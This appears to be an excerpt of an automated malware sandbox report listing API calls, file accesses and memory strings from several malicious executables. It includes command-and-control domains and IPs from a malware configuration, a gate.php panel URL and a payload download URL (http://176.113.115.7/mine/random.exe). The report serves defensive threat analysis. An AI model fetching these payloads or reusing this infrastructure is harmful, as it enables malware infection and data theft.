Source: C:\Users\user\AppData\Local\Temp\10235380101\m0wsoI3.exe	Code function: 17_2_0040B3A0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	17_2_0040B3A0
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006ADBBE lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	18_2_006ADBBE
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_0067C2A2 FindFirstFileExW,	18_2_0067C2A2
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B68EE FindFirstFileW,FindClose,	18_2_006B68EE
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B698F FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	18_2_006B698F
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006AD076 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_006AD076
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006AD3A9 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	18_2_006AD3A9
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B9642 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_006B9642
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B979D SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	18_2_006B979D
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B9B2B FindFirstFileW,Sleep,FindNextFileW,FindClose,	18_2_006B9B2B
Source: C:\Users\user\AppData\Local\Temp\10235690101\8e933e9d51.exe	Code function: 18_2_006B5C97 FindFirstFileW,FindNextFileW,FindClose,	18_2_006B5C97

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: codxefusion.top
Source: Malware configuration extractor	URLs: hardswarehub.today
Source: Malware configuration extractor	URLs: gadgethgfub.icu
Source: Malware configuration extractor	URLs: hardrwarehaven.run
Source: Malware configuration extractor	URLs: techmindzs.live
Source: Malware configuration extractor	URLs: quietswtreams.life
Source: Malware configuration extractor	URLs: techspherxe.top
Source: Malware configuration extractor	URLs: ctrlgem.xyz/gate.php
Source: Malware configuration extractor	IPs: 176.113.115.6

Source: Joe Sandbox View	IP Address: 176.113.115.7 176.113.115.7
Source: Joe Sandbox View	IP Address: 176.113.115.6 176.113.115.6

Source: Joe Sandbox View	ASN Name: SELECTELRU SELECTELRU
Source: Joe Sandbox View	ASN Name: SELECTELRU SELECTELRU

Source: C:\Users\user\AppData\Local\Temp\10234920101\amnew.exe

Code function: 13_2_0095C3B0 InternetCloseHandle,InternetOpenA,InternetOpenUrlA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,Sleep,

13_2_0095C3B0

Source: trano1221.exe, 0000002A.00000002.1950520854.000001E16C380000.00000004.00001000.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1789766220.000001E16BCF7000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1779497201.000001E16BCF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://.../back.jpeg
Source: rapes.exe, 00000006.00000003.5645957689.0000000000B1A000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.6/Ni9kiput/index.php
Source: powershell.exe, 00000019.00000002.1586419592.0000000004C01000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000019.00000002.1586419592.00000000049C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7
Source: powershell.exe, 0000001D.00000002.4028270818.000001D880001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://176.113.115.7/mine/random.exe
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Di0Her478/index.php
Source: futors.exe, 0000000F.00000003.1632617370.00000000014DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Di0Her478/index.php)
Source: futors.exe, 0000000F.00000003.1632617370.0000000001524000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.209/Di0Her478/index.php101
Source: trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digi
Source: trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digiD
Source: trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.co
Source: trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.coC
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1586024618.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0K
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606270626.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585164780.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: rapes.exe, 00000006.00000003.5646796059.0000000000B58000.00000004.00000020.00020000.00000000.sdmp, rapes.exe, 00000006.00000003.5646796059.0000000000B3A000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584996545.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1609046111.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1587751627.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1583958275.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1586024618.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607369375.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1611379233.0000013C2C3F5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585628813.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588172070.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585492797.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588013358.0000013C2C400000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607707168.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1585342620.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1584677472.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1588526671.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1606674528.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1605740646.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 00000023.00000003.1607067585.0000013C2C3F3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1719891520.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816650813.000001E16B9EC000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16B9B5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832695924.000001E16B9ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/
Source: trano1221.exe, 0000002A.00000003.1816650813.000001E16B9EC000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1717851242.000001E16BA15000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16B9B5000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1880697620.000001E16B9F4000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1717851242.000001E16BA6C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832695924.000001E16B9ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.activestate.com/recipes/577916/
Source: trano1221.exe, 0000002A.00000003.1882675982.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1884657596.000001E16C664000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1865956482.000001E16C661000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1840930520.000001E16C65D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857007046.000001E16C65D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.certigna.fr/certignarootca.crl01
Source: trano1221.exe, 0000002A.00000003.1806325089.000001E16B51C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1839236500.000001E16B56B000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1882867348.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1828305886.000001E16BA84000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1813939975.000001E16B562000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1893387743.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1946084154.000001E16BA86000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816159571.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000002.1942451950.000001E16B56C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: trano1221.exe, 0000002A.00000002.1946800540.000001E16BB42000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1836411260.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1889974336.000001E16BA70000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1895673208.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1816159571.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crl
Source: trano1221.exe, 0000002A.00000002.1946800540.000001E16BB42000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1895673208.000001E16BB41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/COMODOCertificationAuthority.crlk
Source: trano1221.exe, 0000002A.00000003.1882675982.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1884657596.000001E16C664000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1865956482.000001E16C661000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1837399560.000001E16C638000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1840930520.000001E16C65D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857007046.000001E16C65D000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1838314051.000001E16C64F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crl
Source: trano1221.exe, 0000002A.00000003.1882675982.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1817319257.000001E16BA97000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806576447.000001E16BA95000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1885930845.000001E16BAC9000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1832985559.000001E16BAAE000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1841513745.000001E16BAAF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.dhimyotis.com/certignarootca.crlf
Source: powershell.exe, 00000019.00000002.1608019459.0000000007023000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: UD49QH6.exe, 00000010.00000003.1447534913.0000000005C6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857506490.000001E16BB09000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806059046.000001E16BAE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/SGCA.crl0
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl
Source: trano1221.exe, 0000002A.00000003.1776610520.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1857506490.000001E16BB09000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804418435.000001E16BA5F000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1806059046.000001E16BAE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.securetrust.com/STCA.crl0
Source: m0wsoI3.exe, 00000011.00000002.1518652176.0000000000681000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530953936.000000000FF93000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1518652176.000000000066A000.00000004.00000020.00020000.00000000.sdmp, m0wsoI3.exe, 00000011.00000002.1530707992.000000000FE10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: trano1221.exe, 0000002A.00000003.1787595180.000001E16C604000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1804953038.000001E16C600000.00000004.00000020.00020000.00000000.sdmp, trano1221.exe, 0000002A.00000003.1835417852.000001E16C61E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.xrampsecurity.com/XGCA.crl
